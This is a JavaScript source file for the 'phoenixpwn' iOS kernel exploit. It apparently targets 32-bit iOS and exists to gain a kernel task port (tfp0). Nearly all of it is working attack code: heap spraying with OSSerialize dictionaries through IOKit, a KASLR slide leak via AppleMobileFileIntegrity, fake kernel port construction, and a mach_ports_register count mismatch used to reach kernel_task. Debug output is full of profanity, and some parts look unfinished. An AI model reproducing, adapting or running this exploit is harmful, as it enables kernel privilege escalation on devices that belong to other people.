/* * phoenixpwn kernel exploit * reimplemented in JS * greetz to @s1guza, @tihmstar, @i41nbeer, @mbazaliy */ var sanity_port = 0; var MACH_PORT_RIGHT_RECEIVE = 0x1; var MACH_MSG_TYPE_MAKE_SEND = 0x14; var MACH_PORT_LIMITS_INFO = 0x1; var MACH_PORT_LIMITS_INFO_COUNT = 0x1; var kport_size = 0x78; var kport_ip_bits4 = 0x0; var kport_ip_references4 = 0x4; var kport_ip_lock_type4 = 0x10; var kport_ip_messages_port_qlimit2 = 0x42; var kport_ip_receiver4 = 0x4c; var kport_ip_srights4 = 0x70; var KERN_SUCCESS = 0; var NULL = 0; var MACH_PORT_NULL = 0; var req_init_port_set = 0x1c; var req_head_msgh_bits = 0x0; var req_head_msgh_request_port = 0x8; var req_head_msgh_reply_port = 0xc; var req_head_msgh_id = 0x14; var req_msgh_body_msgh_descriptor_count = 0x18; var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x2; var req_init_port_set_address = 0x0; var req_init_port_set_count = 0x4; var MACH_RCV_MSG = 0x2; var MACH_MSG_TIMEOUT_NONE = 0; var TASK_BSDINFO_OFFSET = 0x200; var BSDINFO_PID_OFFSET = 0x8; function find_kerneltask() { return 0x8041200c; } function find_ipcspacekernel() { return 0x80456664; } var task_self = 0; var kslide = 0; var fakeportData = 0; var kOSSerializeDictionary = 0x01000000; var kOSSerializeArray = 0x02000000; var kOSSerializeSet = 0x03000000; var kOSSerializeNumber = 0x04000000; var kOSSerializeSymbol = 0x08000000; var kOSSerializeString = 0x09000000; var kOSSerializeData = 0x0a000000; var kOSSerializeBoolean = 0x0b000000; var kOSSerializeObject = 0x0c000000; var kOSSerializeTypeMask = 0x7F000000; var kOSSerializeDataMask = 0x00FFFFFF; var kOSSerializeEndCollection = 0x80000000; var kOSSerializeMagic = 0x000000d3; var SIZEOF_BYTES_MSG = 384; var PORTS_NUM = 1024; var PORTS_NUM_PRESPRAY = 100; var MIG_MAX = 0x1000; function spray_data(mem, size, num, portptr) { var err = shit_heap(4); var ret = 0; var master = shit_heap(4); host_get_io_master(mach_host_self(), master); var dict = shit_heap(MIG_MAX); var __cnt = 0; write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++; write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++; write_u32(dict + (__cnt << 2), kOSSerializeSymbol | 4); __cnt++; write_u32(dict + (__cnt << 2), 0x0079656b); __cnt++; write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++; for (var i = 0; i < num; i++) { write_u32(dict + (__cnt << 2), ((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++; if (mem != 0 && size != 0) { memcpy(dict + (__cnt << 2), mem, size); } memset(dict + (__cnt << 2) + size, 0, SIZEOF_BYTES_MSG - size); __cnt += SIZEOF_BYTES_MSG / 4; } printf("%x %x\n", master, read_u32(master)); printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide())); ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr); printf("still alive? %x %x\n", err, read_u32(err)); if (ret == KERN_SUCCESS) { ret = read_u32(err); } printf("still alive? %x %x\n", err, read_u32(err)); return ret; } function copyinPort(kport, cnt) { var err = shit_heap(4); var ret = 0; var self = task_self; var service = MACH_PORT_NULL; var client = shit_heap(4); var it = shit_heap(4); var o = MACH_PORT_NULL; var data = shit_heap(4); var master = shit_heap(4); fakeportData = shit_heap(4); var host_self = mach_host_self(); host_get_io_master(mach_host_self(), master); ret = spray_data(NULL, 0, 5, data); printf("sprayed, still here\n"); printf("spray_data=%d (%s)\n", ret, mach_error_string(ret)); printf("sprayed, still here\n"); // printf("%x %x\n", master, read_u32(master)); service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity")); printf("service=%x\n", service); var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); printf("%x\n", tst); var kpbuf = tst + 4; for (var i = 0; i < cnt; i++) { write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size); } var err = shit_heap(4); var xmls = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1768515945"; var xml = sptr(xmls); ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client); printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); if (ret == KERN_SUCCESS) { ret = read_u32(err); } printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); IORegistryEntryGetChildIterator(service, "IOService", it); var found = false; var o = IOIteratorNext(read_u32(it)); while (o != MACH_PORT_NULL && !found) { var buf = shit_heap(16 * 4); var size = shit_heap(4); write_u32(size, 16 * 4); ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size); printf("%d %s\n", ret, mach_error_string(ret)); if (ret == KERN_SUCCESS) { spray_data(tst, strlen(tst) + 1, 10, fakeportData); kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0; printf("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16)); found = true; return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0; } } printf("didn't find it\n"); } function prepare_ptr(dict, size, ptr, num) { var idx = 0; write_u32(dict + (idx << 2), kOSSerializeMagic); idx++; write_u32(dict + (idx << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); idx++; write_u32(dict + (idx << 2), kOSSerializeSymbol | 4); idx++; write_u32(dict + (idx << 2), 0x0079656b); idx++; write_u32(dict + (idx << 2), (kOSSerializeEndCollection | kOSSerializeArray | (num >>> 0))); idx++; for (var i = 0; i < num; i++) { write_u32(dict + (idx << 2), ((i == (num - 1)) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8); idx++; write_u32(dict + (idx << 2), ptr); idx++; write_u32(dict + (idx << 2), ptr); idx++; } write_u32(size, idx * 4); return KERN_SUCCESS; } function spray(dict, size, port) { var err = shit_heap(4); var ret = 0; var master = shit_heap(4); host_get_io_master(mach_host_self(), master); io_service_add_notification_ool(master, "IOServiceTerminate", dict, size, MACH_PORT_NULL, NULL, 0, err, port); if (ret == KERN_SUCCESS) { ret = read_u32(err); } return ret; } var kp = 0; function spray_ports(number_port_descs) { if (kp == 0) { kp = shit_heap(4); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp); mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND); } else if (read_u32(kp) == 0) { kp = shit_heap(4); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp); mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND); } var mp = shit_heap(4); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp); mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND); var ret_ = send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); // printf("%d (%s)\n", ret_, mach_error_string(ret_)); var ret = read_u32(mp); shit_heap_free(mp); return ret; } function fast_log2(n) { var i = 0; while (n >>= 1) { i++; } return i; } function fast_array_mul(arr, n) { var up_to = fast_log2(n) + 1; var tmp_arr = arr; var done = 0; for (var i = 0; i < up_to; i++) { tmp_arr.push.apply(tmp_arr); done = (1 << i); } return tmp_arr; } function send_ports(target, payload, num, number_port_descs) { var init_port_set = shit_heap(num * 4); for (var i = 0; i < num; i++) { write_u32(init_port_set + (i << 2), payload); } // var buf = shit_heap(0x1c + (number_port_descs * 0xc * 8)); // write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs); // var buf = new Uint32Array((0x1c + (3 * number_port_descs); // write_u32(number_port_descs); large_buf[req_msgh_body_msgh_descriptor_count >> 2] = number_port_descs; var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)); for (var i = 0; i < number_port_descs; i++) { var tmp2 = (i * 3) + (req_init_port_set >>> 2); large_buf[tmp2 + 0] = (init_port_set); large_buf[tmp2 + 1] = (num); large_buf[tmp2 + 2] = tmp; } large_buf[req_head_msgh_bits >>> 2] = 0x80001513; // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE) large_buf[req_head_msgh_request_port >>> 2] = target; large_buf[req_head_msgh_reply_port >>> 2] = 0; large_buf[req_head_msgh_id >>> 2] = 1337; // printf("%s\n", prim_hexdump(read_buf(large_buf_ptr, 0x100))); var ret = mach_msg(large_buf_ptr, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL); return ret; } function release_port_ptrs(port) { // var req = shit_heap(0x1c + (5 * 0xc) + 0x8); var req = shit_heap(0x1c + (5 * 0xc) + 0x8); // printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0")); var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (ret != KERN_SUCCESS) { printf("mach_recv %d %s\n", ret, mach_error_string(ret)); } shit_heap_free(req); } function r3gister(task, init_port_set, real_count, fake_count) { var mess = shit_heap(0x1000); var InP = mess; var OutP = mess; /* InP->msgh_body.msgh_descriptor_count = 1; InP->init_port_set.address = (void*)(init_port_set); InP->init_port_set.count = real_count; InP->init_port_set.disposition = 19; InP->init_port_set.deallocate = FALSE; InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; InP->NDR = NDR_record; InP->init_port_setCnt = fake_count; // was real_count InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); InP->Head.msgh_remote_port = task; InP->Head.msgh_local_port = mig_get_local_port(); InP->Head.msgh_id = 3403; InP->msgh_body.msgh_descriptor_count 0x18 0x4 InP->init_port_set.address 0x1c 0x4 InP->init_port_set.count 0x20 0x4 InP->init_port_set 0x1c InP->NDR 0x28 0x8 InP->init_port_setCnt 0x30 0x4 InP->Head.msgh_bits 0x0 0x4 InP->Head.msgh_remote_port 0x8 0x4 InP->Head.msgh_local_port 0xc 0x4 InP->Head.msgh_id 0x14 0x4 0x00000003 0x00000034 0x0000002c 0x00000024 50 78 0x0 0x1057ec */ write_u32(InP + 0x18, 1); write_u32(InP + 0x1c, init_port_set); write_u32(InP + 0x20, real_count); write_u32(InP + 0x24, 0x0213c600); write_u32(InP + 0x28, read_u32(NDR_record + get_dyld_shc_slide() + 0x0)); write_u32(InP + 0x2c, read_u32(NDR_record + get_dyld_shc_slide() + 0x4)); write_u32(InP + 0x30, fake_count); write_u32(InP + 0x0, 0x80001513); write_u32(InP + 0x8, task); write_u32(InP + 0xc, mig_get_reply_port()); write_u32(InP + 0x14, 3403); var ret = mach_msg(InP, 0x3, 0x34, 0x2c, read_u32(InP + 0xc), MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (ret == KERN_SUCCESS) { ret = read_u32(OutP + 0x24); } return ret; } function mach_ports_lookup_shit() { printf("fuck\n"); var arrz = shit_heap(4); var arrz2 = shit_heap(4); printf("fuck\n"); write_u32(arrz, arrz2); write_u32(arrz2, 0); printf("fuck\n"); var sz = shit_heap(4);; printf("fuck\n"); write_u32(sz, 3); printf("fuck\n"); // var mts = mach_task_self(); printf("fuck\n"); calls4arg("mach_ports_lookup", task_self, arrz, sz, 0); scall("printf", "done %x %x %x %x\n", read_u32(read_u32(arrz) + 0), read_u32(read_u32(arrz) + 4), read_u32(read_u32(arrz) + 8), read_u32(kp)); printf("mpl success\n"); return read_u32(read_u32(arrz) + 8); } var kernel_task_addr = 0; function get_kernel_task() { var ret = 0; var tfp0 = 0; /* printf("fuck\n"); var arrz = shit_heap(4); printf("fuck\n"); write_u32(arrz, 0); printf("fuck\n"); var sz = shit_heap(4);; printf("fuck\n"); write_u32(sz, 3); printf("fuck\n"); var mts = mach_task_self(); printf("fuck\n"); mach_ports_lookup(mts, arrz, sz); printf("mpl success\n"); return; */ sanity_port = shit_heap(4); task_self = mach_task_self(); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, sanity_port); mach_port_insert_right(task_self, read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND); limits = shit_heap(4); write_u32(limits, 1000); mach_port_set_attributes(task_self, read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT); printf("starting exploit\n"); var data = shit_heap(16); var kport = shit_heap(kport_size * 2); var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK write_u32(kport + kport_ip_references4, 100); write_u32(kport + kport_ip_lock_type4, 0x11); write_u16(kport + kport_ip_messages_port_qlimit2, 777); write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy write_u32(kport + kport_ip_srights4, 99); var big_buf = shit_heap(MIG_MAX); var small_buf = shit_heap(MIG_MAX); var big_size = shit_heap(4); var small_size = shit_heap(4); var fp = shit_heap(PORTS_NUM * 4); var postSpray = shit_heap(4); usleep(10000); sched_yield(); var kptr = copyinPort(kport, 2); printf("0x%08x\n", kptr); write_u32(data, kptr); write_u32(data + 4, kptr); prepare_ptr(big_buf, big_size, kptr, 256); prepare_ptr(small_buf, small_size, kptr, 32); again: while (true) { var dummy = shit_heap(4); for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) { spray(big_buf, big_size, dummy); } var dummy = shit_heap(4); for (var i = 0; i < PORTS_NUM; i++) { // for (var i = 0; i < 8; i++) { if (i % 4 == 0) { printf("spray_ports %d\n", i); } write_u32(fp + (i << 2), spray_ports(1)); spray(small_buf, small_size, dummy); } for (var i = 0; i < PORTS_NUM; i++) { // for (var i = 0; i < 8; i++) { release_port_ptrs(read_u32(fp + (i << 2))); } var arrmpt = shit_heap(8); write_u32(arrmpt, 0); write_u32(arrmpt + 4, 0); mach_ports_lookup_shit(); var ret__ = r3gister(mach_task_self(), arrmpt, 2, 3); mach_ports_lookup_shit(); printf("%d %s\n", ret__, mach_error_string(ret__)); printf("r3gister done\n"); // while (true) { // // } printf("fuck\n"); // var fake_port = read_u32(read_u32(arrz) + 8); /* * BEGIN JANK FUCKING HACK */ var fake_port = mach_ports_lookup_shit(); printf("fuck\n"); printf("%x\n", fake_port); printf("fuck\n"); // todo: add mach_port_valid stuff printf("fuck\n"); printf("fuck\n"); write_u32(kport + 0x50, kptr + 0x78 - TASK_BSDINFO_OFFSET); printf("fuck\n"); write_u32(ptr, find_kerneltask() + kslide - BSDINFO_PID_OFFSET); printf("fuck\n"); var tst_str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0"; printf("fuck\n"); var tst = _sptr(tst_str); printf("fuck\n"); var kpbuf = tst + 4; printf("fuck\n"); printf("fuck\n"); for (var i = 0; i < 2; i++) { printf("fuck\n"); write_buf(kpbuf + (i * 0x78), read_buf(kport + (i * 0x78), 0x78), 0x78); } printf("fuck\n"); usleep(10000); sched_yield(); mach_port_destroy(mach_task_self(), read_u32(fakeportData)); spray_data(tst, tst_str.length, 10, fakeportData); printf("fuck\n"); printf("done realloc"); printf("fuck\n"); printf("fuck\n"); var kernel_task_addr = shit_heap(4); printf("fuck\n"); scall("printf", "kernel_task address: 0x%08x\n", read_u32(kernel_task_addr)); ret__ = pid_for_task(fake_port, kernel_task_addr); printf("%d %s\n", ret__, mach_error_string(ret__)); printf("fuck\n"); printf("IF YOU SEE THIS AND IT LOOKS LEGIT, SHIT HAS FUCKING HAPPENED\n"); printf("fuck\n"); call4arg(sym_cache["puts"], sptr("kernel_task address: 0x" + pad_left(read_u32(kernel_task_addr).toString(16), '0', 8)), 0, 0, 0); scall("printf", "kernel_task address: 0x%08x\n", read_u32(kernel_task_addr)); printf("fuck\n"); printf("get lucky\n"); return tfp0; } }